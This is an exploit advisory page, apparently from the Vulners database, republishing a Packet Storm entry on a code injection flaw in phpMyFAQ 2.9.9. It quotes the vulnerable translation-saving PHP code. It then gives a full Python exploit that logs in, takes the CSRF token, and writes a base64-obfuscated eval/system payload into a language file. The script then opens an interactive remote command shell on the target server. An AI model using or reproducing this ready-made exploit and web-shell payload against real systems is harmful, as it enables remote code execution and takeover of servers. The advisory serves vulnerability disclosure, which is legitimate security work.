Lucene search
K

phpMyFAQ 2.9.9 Code Injection

🗓️ 17 Nov 2017 00:00:00Reported by tomplixseeType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 32 Views

phpMyFAQ 2.9.9 Code Injection allows unauthorized access and manipulation. Vulnerable to file overwrite via admin interface translation

Code
`# Exploit Title: [PHPMYFAQ 2.9.9 Code Injection]  
# Google Dork: [NA]  
# Date: [Nov 6 2017]  
# Exploit Author: [tomplixsee]  
# Author blog : [cupuzone.wordpress.com]  
# Vendor Homepage: [ http://www.phpmyfaq.de]  
# Software Link: [http://download.phpmyfaq.de/phpMyFAQ-2.9.9.zip]  
# Version: [2.9.9]   
# Tested on: [Ubuntu Server 16.04, PHP 7.0.22]  
# CVE : [NA]  
  
  
How to reproduce  
1. login to administrative page (example http://vbox-ubuntu-server.me/phpmyfaq/admin/ ) as an admin or any user with right access to edit translation  
2. open page configuration->interface translation (assume you use english language). fyi, edit translations only active if folder phpmyfaq/lang is writable, so make sure the folder is writable  
3. choose indonesia (or another language) to edit  
4. choose page 14 (in example)  
5. choose variable LANG_CONF[main.metaDescription]  
6. set phpinfo() as value  
7. change your languge to indonesia  
  
  
vulnerable code  
on file admin/ajax.trans.php  
  
43 case 'save_page_buffer':  
44 /*  
45 * Build language variable definitions  
46 * @todo Change input handling using PMF_Filter  
47 */  
48 foreach ((array) @$_POST['PMF_LANG'] as $key => $val) {  
49 if (is_string($val)) {  
50 $val = str_replace(array('\\\\', '\"', '\\\''), array('\\', '"', "'"), $val);  
51 $val = str_replace("'", "\\'", $val);  
52 $_SESSION['trans']['rightVarsOnly']["PMF_LANG[$key]"] = $val;  
53 } elseif (is_array($val)) {  
54 /*  
55 * Here we deal with a two dimensional array  
56 */  
57 foreach ($val as $key2 => $val2) {  
58 $val2 = str_replace(array('\\\\', '\"', '\\\''), array('\\', '"', "'"), $val2);  
59 $val2 = str_replace("'", "\\'", $val2);  
60 $_SESSION['trans']['rightVarsOnly']["PMF_LANG[$key][$key2]"] = $val2;  
61 }  
62 }  
63 }  
64   
65 foreach ((array) @$_POST['LANG_CONF'] as $key => $val) {  
66 // if string like array(blah-blah-blah), extract the contents inside the brackets  
67 if (preg_match('/^\s*array\s*\(\s*(\d+.+)\s*\).*$/', $val, $matches1)) {  
68 // split the resulting string of delimiters such as "number =>"  
69 $valArr = preg_split(  
70 '/\s*(\d+)\s*\=\>\s*/',  
71 $matches1[1],  
72 null,  
73 PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY  
74 );  
75 $numVal = count($valArr);  
76 if ($numVal > 1) {  
77 $newValArr = [];  
78 for ($i = 0; $i < $numVal; $i += 2) {  
79 if (is_numeric($valArr[$i])) {  
80 // clearing quotes  
81 if (preg_match('/^\s*\\\\*[\"|\'](.+)\\\\*[\"|\'][\s\,]*$/', $valArr[$i + 1], $matches2)) {  
82 $subVal = $matches2[1];  
83 // normalize quotes  
84 $subVal = str_replace(array('\\\\', '\"', '\\\''), array('\\', '"', "'"), $subVal);  
85 $subVal = str_replace("'", "\\'", $subVal);  
86 // assembly of the original substring back  
87 $newValArr[] = $valArr[$i].' => \''.$subVal.'\'';  
88 }  
89 }  
90 }  
91 $_SESSION['trans']['rightVarsOnly']["LANG_CONF[$key]"] = 'array('.implode(', ', $newValArr).')';  
92 }  
93 } else { // compatibility for old behavior  
94 $val = str_replace(array('\\\\', '\"', '\\\''), array('\\', '"', "'"), $val);  
95 $val = str_replace("'", "\\'", $val);  
96 $_SESSION['trans']['rightVarsOnly']["LANG_CONF[$key]"] = $val;  
97 }  
98 }  
99   
100 echo 1;  
101 break;  
102   
103 case 'save_translated_lang':  
104   
105 if (!$user->perm->checkRight($user->getUserId(), 'edittranslation')) {  
106 echo $PMF_LANG['err_NotAuth'];  
107 exit;  
108 }  
109   
110 $lang = strtolower($_SESSION['trans']['rightVarsOnly']['PMF_LANG[metaLanguage]']);  
111 $filename = PMF_ROOT_DIR.'/lang/language_'.$lang.'.php';  
112   
113 if (!is_writable(PMF_ROOT_DIR.'/lang')) {  
114 echo 0;  
115 exit;  
116 }  
117   
118 if (!copy($filename, PMF_ROOT_DIR.'/lang/language_'.$lang.'.bak.php')) {  
119 echo 0;  
120 exit;  
121 }  
122   
123 $newFileContents = '';  
124 $tmpLines = [];  
125   
126 // Read in the head of the file we're writing to  
127 $fh = fopen($filename, 'r');  
128 do {  
129 $line = fgets($fh);  
130 array_push($tmpLines, rtrim($line));  
131 } while ('*/' != substr(trim($line), -2));  
132 fclose($fh);  
133   
134 // Construct lines with variable definitions  
135 foreach ($_SESSION['trans']['rightVarsOnly'] as $key => $val) {  
136 if (0 === strpos($key, 'PMF_LANG')) {  
137 $val = "'$val'";  
138 }  
139 array_push($tmpLines, '$'.str_replace(array('[', ']'), array("['", "']"), $key)." = $val;");  
140 }  
141   
142 $newFileContents .= implode("\n", $tmpLines);  
143   
144 unset($_SESSION['trans']);  
145   
146 $retval = file_put_contents($filename, $newFileContents);  
147 echo intval($retval);  
148 break;  
  
  
  
  
the exploit  
-----------------------------------------------------------------  
  
  
#! /usr/bin/python  
import sys, requests, argparse, readline  
  
def main(argv):  
global url, user, password  
parser = argparse.ArgumentParser(description='PHPMYFAQ 2.9.9 Code Injection exploitation tool. author : tomplixsee')  
parser.add_argument('-u','--url', help='target url',required=True)  
parser.add_argument('-p','--password', help='password',required=True)  
parser.add_argument('-s','--user', help='user',required=True)  
args = parser.parse_args()  
  
url = args.url  
user = args.user  
password = args.password  
  
if __name__ == "__main__":  
main(sys.argv[1:])  
  
#get the cookie  
def login():  
global url, user, password,cookie  
print "\033[1;33m>>>>>> logging in\033[1;m"  
data = {"faqusername":user,"faqpassword":password}  
headers = {  
}  
r = requests.post(url+"/admin/index.php", headers=headers, data=data)  
if "dashboard" in r.text:  
print "\033[1;32m>>>>>> login sucessful\033[1;m"  
cookie = r.cookies["PHPSESSID"]  
check()  
else:  
print "login failed"  
sys.exit()  
  
#check if user has access to edit translations.   
#get the crsf token   
def check():  
global url,cookie, csrf  
print "\033[1;33m>>>>>> check user auth\033[1;m"  
headers = {  
'Accept': '*/*',  
"Cookie":"PHPSESSID="+cookie  
}  
r = requests.get(url+"/admin/index.php?action=transedit&translang=id", headers=headers)  
if ("You are not authorized." not in r.text) or ("ajaxaction=save_translated_lang&csrf" in r.text):  
print "\033[1;32m>>>>>> authorized\033[1;m"  
else:  
print "not authorized"  
sys.exit()  
#get csrf token  
str_csrf = r.text.split("action=ajax&ajax=trans&ajaxaction=save_translated_lang&csrf=" )  
csrf = str_csrf[1][0:40]  
savebuffer()  
  
#save payload to session  
def savebuffer():  
global url,cookie, csrf  
print "\033[1;33m>>>>>> trying to fill the buffer\033[1;m"  
headers = {  
'Accept': '*/*',  
"Cookie":"PHPSESSID="+cookie  
}  
data = {  
"LANG_CONF[main.metaDescription]":'eval(base64_decode(\"c3lzdGVtKCRfUkVRVUVTVFtxXSk7IGlmKGlzc2V0KCRfUkVRVUVTVFttYXRpXSkpZGllOw==\"))'  
}  
r = requests.post(url+"/admin/index.php?action=ajax&ajax=trans&ajaxaction=save_page_buffer&csrf="+csrf, headers=headers, data=data)  
if r.text=="1":  
print "\033[1;32m>>>>>> success\033[1;m"  
write2file()  
else:  
sys.exit()  
  
#write payload to file  
def write2file():  
global url,cookie, csrf  
print "\033[1;33m>>>>>> write payload to server\033[1;m"  
headers = {  
'Accept': '*/*',  
"Cookie":"PHPSESSID="+cookie  
}  
data = {}  
r = requests.post(url+"/admin/index.php?action=ajax&ajax=trans&ajaxaction=save_translated_lang&csrf="+csrf, headers=headers, data=data)  
if r.text!="":  
print "\033[1;32m>>>>>> success\033[1;m"  
print "\033[1;32m>>>>>> enjoy your shell\033[1;m"  
exploit('')  
else:  
sys.exit()  
  
#send system command  
def exploit(command):  
global url,cookie  
command = raw_input('\033[1;31mshell > \033[1;m')   
if command == "exit":  
print "goodbye"  
sys.exit()  
  
headers = {  
'Accept': '*/*',  
"Cookie":"PHPSESSID="+cookie  
}  
data = {"q":command,  
"mati":"mati",  
"language":"id"  
}  
r = requests.post(url+"/admin/index.php", headers=headers, data=data)  
print r.text  
exploit('')  
  
login()  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Nov 2017 00:00Current
7.1High risk
Vulners AI Score7.1
32